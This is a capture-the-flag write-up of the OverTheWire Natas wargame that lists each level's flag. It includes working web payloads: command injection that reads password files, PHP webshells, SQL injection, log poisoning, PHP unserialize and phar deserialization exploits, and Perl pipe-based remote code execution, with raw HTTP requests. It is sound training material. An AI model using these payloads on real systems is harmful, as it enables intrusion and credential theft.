This folder contains solutions for the Natas wargame from OverTheWire.
f12, the password is in the source code
Flag: 0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq
ctrl+U, same as before
Flag: TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI
in the source code there is a pixel.png, then by going to the folder u can find the directory “files”. then, go to http://natas2.natas.labs.overthewire.org/files/users.txt
Flag: 3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH
go to robots.txt http://natas3.natas.labs.overthewire.org/robots.txt then, go to the secret dir: /s3cr3t/ there you can find the password in the url: http://natas3.natas.labs.overthewire.org//s3cr3t/users.txt
Flag: QryZXc2e0zahULdHrtHxzyYkj59kUxLQ
in this challenge we need to fake our referrer, we can do it using this script [level4.py]
{% include_relative scripts/level4.py %}
Flag: 0n35PkggAPm2zbEpOU802c0x0Msn1ToK
in this challenge, all you need to do is to change the value of the cookie: loggedin
to 1.
Flag: 0RoJwHdSKWFTYR5WuiAewauSuNaBXned
here, you can see in the source code that it includes the file includes/secret.inc
, so let’s go there:
http://natas6.natas.labs.overthewire.org/includes/secret.inc
then we can see the secret which is FOEIUWGHFEEUHOFUOIU
Flag: bmg8SvU1LizuWjx3y7xkNERkHxGre0GS
here we can see it prints the content of the file that the param page
gets. so, let’s give him the path to the password which is /etc/natas_webpass/natas8
http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
Flag: xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q
in this challenge i check what the secret needs to be, by running the reverse procedure.
the secret is oubWYf2kBq
Flag: ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t
in this challenge we use command injection, this is the vuln part: passthru("grep -i $key dictionary.txt");
and this is the payload we gives ; cat /etc/natas_webpass/natas10
Flag: t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu
in this challenge we use command injection, this is the vuln part: passthru("grep -i $key dictionary.txt");
here we can’t use ;
, so we will use this payload we gives
a /etc/natas_webpass/natas11
if you don’t get the password for ‘a’, try insert different characters.
Flag: UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk
<?
$defaultData = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
$jsonEncodedData = json_encode($defaultData);
$defDecoded = 'HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg=';
$decodedDef = base64_decode($defDecoded);
$outText = '';
for($i=0;$i<min(strlen($jsonEncodedData),strlen($decodedDef));$i++) {
$outText .= $jsonEncodedData[$i] ^ $decodedDef[$i];
}
echo ($outText);
?>
by running this code i can find the key, which is eDWo
now, we will create the payload with yes in the key showpassword
<?
$defaultdata = array("showpassword"=>"yes", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = 'eDWo';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
echo base64_encode(xor_encrypt(json_encode($defaultdata)));
?>
this give us HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5
and then, all left is to put it in the cookie data
Flag: yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB
here we inject webshell, by changing the EXT of the tmp file we upload, as you can see below
then, we go to upload/yw04l1863l.php
which is the url
http://natas12.natas.labs.overthewire.org/upload/yw04l1863l.php
and inject our payload, in this case: ?x=cd /etc/natas_webpass/; cat natas13
Flag: trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC
here we inject webshell, but here we add the header of jpeg file in the begin of the content, because the php code use the func exif_imagetype
then, we go to upload/h0854v8rab.php
which is the url
http://natas13.natas.labs.overthewire.org/upload/h0854v8rab.php
and inject our payload, in this case: ?x=cd /etc/natas_webpass/; cat natas14
Flag: z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ
this challenge is basic sql injection. we’ll insert in the username this payload " or 1#
Flag: SdqIqBsFcz3yotlNYErZSZwblkm0lrvx
this challenge is another sql injection. here we do brute force, the source code is here [level15]
{% include_relative scripts/level15.py %}
Flag: SdqIqBsFcz3yotlNYErZSZwblkm0lrvx
here we inject this payload:
$(grep -E ^{password} /etc/natas_webpass/natas17)African
.
if the password is in the file, so the word ??African won’t be in the dictionary.
here we do brute force, the source code is here [level16]
{% include_relative scripts/level16.py %}
Flag: EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC
this is another sql injection, based on time side channel attack. this is the source code [level17]
{% include_relative scripts/level17.py %}
Flag: 6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ
in this challenge we know there is a session for the admin, and the sessions can be detected using the cookie. so, let’s brute force those 640 options until finding the session of the admin. this is the source code [level18]
{% include_relative scripts/level18.py %}
Flag: tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr
This challenge is almost the same as the previous challenge, the only difference is that the cookie now is hex(session-admin)
in this challenge we know there is a session for the admin, and the sessions can be detected using the cookie. so, let’s brute force those 640 options until finding the session of the admin.
this is the source code [level19]
{% include_relative scripts/level19.py %}
Flag: p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw
here we exploit a logic error in the source code. we give this input
hello
admin 1
and after 2 entrances we’ll get the password.
http://natas20.natas.labs.overthewire.org/index.php?name=hello%0Aadmin%201
Flag: BPhv63cKE1lkQl04cE5CuFTzXe15NfiH
i can give it in the HTTP post every pare of key,value i want.
i used burp suite:
then, return to the original website. remember to use the same PHPSESS cookie.
Flag: d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz
here if you give the get param: revelio
it tries to redirect you. i wrote simple script [level22.py]
{% include_relative scripts/level22.py %}
and disabled the redirection
Flag: dIUQcI3uSus1JEOSSWRAEXBG8KbR8tRs
give this as input: 123iloveyou123456
Flag: MeuqmfJ8DDKuTr5pcvzFKSwlxedZYEWd
this is the url http://natas24.natas.labs.overthewire.org/?passwd[]=%27%27
It interprets passwd as an array where passwd[0] = ‘’ then, it crashed and pass the check.
Flag: ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws
Here, we bypass the Path traversal
detection
if(strstr($filename,"../")){
logRequest("Directory traversal attempt! fixing request.");
$filename=str_replace("../","",$filename);
}
by simply providing something like this, ....//logs/mylog.log
, and then it removes only the first instance.
Then, we can see it appends our User-Agent
to the log file that is accessible for us, so let’s put in the User-Agent
the value: <? include "/etc/natas_webpass/natas26" ?>
Flag: cVXXwxMS3Y26n5UZU89QgpGmWCelaQlE
Here we exploit the unserialize
function, we manage to get RCE.
<?php
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct($file){
$this->initMsg="#--session started--#\n";
$this->exitMsg="<?php system(\$_GET['cmd']); ?>";
$this->logFile = "/var/www/natas/natas26/img/eli-copter-webshell.php";
}
function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}
// That's what is really happening
function __destruct(){
// write exit message
// $fd=fopen($this->logFile,"a+");
// fwrite($fd,$this->exitMsg);
// fclose($fd);
}
}
$logger = [new Logger("")];
echo base64_encode(serialize($logger));
?>
We inject the output of this program, which is:
YToxOntpOjA7Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czo1MDoiL3Zhci93d3cvbmF0YXMvbmF0YXMyNi9pbWcvZWxpLWNvcHRlci13ZWJzaGVsbC5waHAiO3M6MTU6IgBMb2dnZXIAaW5pdE1zZyI7czoyMjoiIy0tc2Vzc2lvbiBzdGFydGVkLS0jCiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjMwOiI8P3BocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4iO319
into the cookie drawing
.
Then, when it get’s unserialize, it executes the __destrcut
function and writing our php code to the webshell file.
Notice, our webshell will be in the /img folder, because we got access to the folder, and can write our own files there
Then, after creating the webshell, we can echo the password. It doesn’t work using cat
, so i simply used head
.
http://natas26.natas.labs.overthewire.org/img/eli-copter-webshell.php?cmd=head%20/etc/natas_webpass/natas27
Flag: u3RRffXjysjgwFU6b9xa23i6prmUsYne
As we can see, the username size is 64 chars.
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
When we create user, it checks whether i give spaces at the begin \ end
if($usr != trim($usr)) {
echo "Go away hacker";
return False;
}
And if not, it’ll insert the username and password, but with substr
of 64 chars
$user=mysqli_real_escape_string($link, substr($usr, 0, 64));
By this way, we can insert for example:
'natas28'
+ ' '
57 + 'a'
, which after substr
leave us with natas28
and a lot of spaces… however, this is the same as natas28
.
Then, we manage to inject our own user natas28
, with blank password for example, and then when asking for natas28
+ ' '
57, we get the flag :)
It works because the check using trim
working only in createUser
and not in checkCredentials
Flag: 1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj
This is the source code.
It about SQLi
and exploit of AES-ECB
mode.
{% include_relative scripts/level28.py %}
Enter SQL query (without 'union all'): select database()
[+] Query Results:
- natas28
Enter SQL query (without 'union all'): select table_name from information_schema.tables where table_schema=0x6e617461733238
[+] Query Results:
- jokes
- users
Enter SQL query (without 'union all'): select column_name from information_schema.columns where table_name=0x7573657273
[+] Query Results:
- username
- password
Enter SQL query (without 'union all'): select password from users
[+] Query Results:
- 31F4j3Qi2PnuhIZQokxXk1L3QT9Cppns
Flag: 31F4j3Qi2PnuhIZQokxXk1L3QT9Cppns
We can see it gets a file and reads it, using perl
.
From here piping in open function perl, we can see that if you supply |
and then cmd
else, it will execute cmd
.
also, we need to supply %00
to null terminate the string at the end. (perl
is based on C
).
- input:
http://natas29.natas.labs.overthewire.org/index.pl?file=|ls%00
- output:
index.pl perl underground 2.txt perl underground 3.txt perl underground 4.txt perl underground 5.txt perl underground.txt
Okay, so let’s read the password:
- input:
|more%20/etc/natas_webpass/natas29%20-l%00
- output:
no output, gets
meeeeeep!
, probably it WAFing the wordnatas
Let’s try bypassing, by using regex, like nata*
- input:
|more%20/etc/nata*/nata*30%20-l%00
- output:
:::::::::::::: /etc/natas_webpass/natas30 :::::::::::::: WQhx1BvcmP9irs2MP9tRnLsNaDI76YrH
I’m using more
because cat
, head
and tail
not working.
Flag: WQhx1BvcmP9irs2MP9tRnLsNaDI76YrH
I searched in google and faced some interesting results. sqli in quote perl function
Basiccaly, that’s what it says:
You see, param is context-sensitive. In scalar context, if the parameter has a single value (name=foo), it returns that value, and if the parameter has multiple values (name=foo&name=bar) it returns an arrayref. In list context, it returns a list of values, whether there are zero, one, or many. The argument list of a method (such as quote) is a list context. That means that someone using your app can cause quote to receive two values, and quote’s optional second argument is an SQL data type that the first argument should be treated as. If the data type is a non-string type like NUMERIC, then quote will pass its first argument through without any quoting. This constitutes an opportunity for SQL injection. (is-perl-function-dbh-quote-still-secure)
So, we’ll supply this:
username='natas31'+--&username=4&password=pass
Then, it will interpret username as 'natas31' --
, and then when it’ll run the query
Select * FROM users where username ='natas31' -- password ='pass'
However, the --
will comment the rest of the query…
Flag: m7bfjAHpJmSYgQWWeqRE2qVBuMiRNq0y
You can have a look in this paper, it explains the vulnerability. perl sucks + camels
When we supply 2 files, it checks whether one of them has a filename, and then taking the first one.
In addition, usually what happens when it loops through the files, and just getting random string which is the handle of the file.
while (<$file>) {
However, if we supply ARGV as the file-content, it’ll loop through the args
and insert them into open
function.
By this way we can read /etc/natas_webpass/natas32
.
Even more, we can get RCE
as we saw in natas30, by supplying the |
character.
POST /index.pl?/etc/natas_webpass/natas32 HTTP/1.1
Host: natas31.natas.labs.overthewire.org
Content-Length: 433
Cache-Control: max-age=0
Authorization: Basic bmF0YXMzMTptN2JmakFIcEptU1lnUVdXZXFSRTJxVkJ1TWlSTnEweQ==
Origin: http://natas31.natas.labs.overthewire.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybY5URDoaIvWBSm4C
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://natas31.natas.labs.overthewire.org/index.pl
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,he;q=0.8
Connection: keep-alive
------WebKitFormBoundarybY5URDoaIvWBSm4C
Content-Disposition: form-data; name="file";
Content-Type: application/octet-stream
ARGV
------WebKitFormBoundarybY5URDoaIvWBSm4C
Content-Disposition: form-data; name="file"; filename="sample"
Content-Type: application/octet-stream
bla
------WebKitFormBoundarybY5URDoaIvWBSm4C
Content-Disposition: form-data; name="submit"
Upload
------WebKitFormBoundarybY5URDoaIvWBSm4C--
Flag: NaIWhW2VIrKqrc7aroJVHOZvk3RQMi0B
This time, this is exactly like we talked natas31, that we can execute RCE
So, let’s execute ls
- input
/index.pl?ls%20.%20 - output
.: total 156 drwxr-x— 5 natas32 natas32 4096 Apr 10 14:18 bootstrap-3.3.6-dist -rwsrwx— 1 root natas32 16096 Apr 10 14:18 getpassword -rw-r–r– 1 root root 9740 Apr 10 14:18 index-source.html -r-xr-x— 1 natas32 natas32 2968 Apr 10 14:18 index.pl -r-xr-x— 1 natas32 natas32 97180 Apr 10 14:18 jquery-1.12.3.min.js -r-xr-x— 1 natas32 natas32 16877 Apr 10 14:18 sorttable.js drwxr-x— 2 natas32 natas32 4096 Jul 11 14:23 tmp
- input
/index.pl?./getpassword%20 - output
2v9nDlbSF7jvawaCncr5Z9kSzkmBeoCJ
Fine, let’s execute get password:
POST /index.pl?./getpassword%20| HTTP/1.1
Host: natas32.natas.labs.overthewire.org
Content-Length: 433
Cache-Control: max-age=0
Authorization: Basic bmF0YXMzMjpOYUlXaFcyVklyS3FyYzdhcm9KVkhPWnZrM1JRTWkwQg==
Origin: http://natas32.natas.labs.overthewire.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybY5URDoaIvWBSm4C
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://natas31.natas.labs.overthewire.org/index.pl
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,he;q=0.8
Connection: keep-alive
------WebKitFormBoundarybY5URDoaIvWBSm4C
Content-Disposition: form-data; name="file";
Content-Type: application/octet-stream
ARGV
------WebKitFormBoundarybY5URDoaIvWBSm4C
Content-Disposition: form-data; name="file"; filename="sample"
Content-Type: application/octet-stream
bla
------WebKitFormBoundarybY5URDoaIvWBSm4C
Content-Disposition: form-data; name="submit"
Upload
------WebKitFormBoundarybY5URDoaIvWBSm4C--
Flag: 2v9nDlbSF7jvawaCncr5Z9kSzkmBeoCJ
There is a vuln that was shwen in black hat conference, in 2018, that can be found here PHP Unserialization vuln - Black Hat.
When we use the phar
wrapper, there are several functions that unserilized
the metadata, include md5_file
function.
So, if we’ll supply .phar
file, we can simply override the Executor
, and then setting our own signature
and filename
. (I simply set the signature to true
, because any string which isn’t empty string equal to true, when comparing using ==
and not ===
).
So first, let’s upload our webshell, which is called webshell_770.php
:
<?php system($_GET['cmd']); ?>
Then, we will create our my_sol.phar
file, and upload it using the filename: phar:///natas33/upload/my_sol.phar
(I want that it’ll treat it as a phar archive)
<?php
class Executor{
private $filename="/natas33/upload/webshell_770.php";
private $signature=true;
private $init=False;
function __construct(){}
function __destruct(){}
}
// create new Phar
$phar = new Phar('my_sol.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar['bla'] = 'bla';
$executor = new Executor();
$phar->setMetadata($executor);
$phar->stopBuffering();
?>
Now, we need to upload our my_sol.phar
And lastly, ask for phar:///natas33/upload/my_sol.phar
Flag: j4O7Q7Q5er5XFRCepmyXJaWCSIrslCJY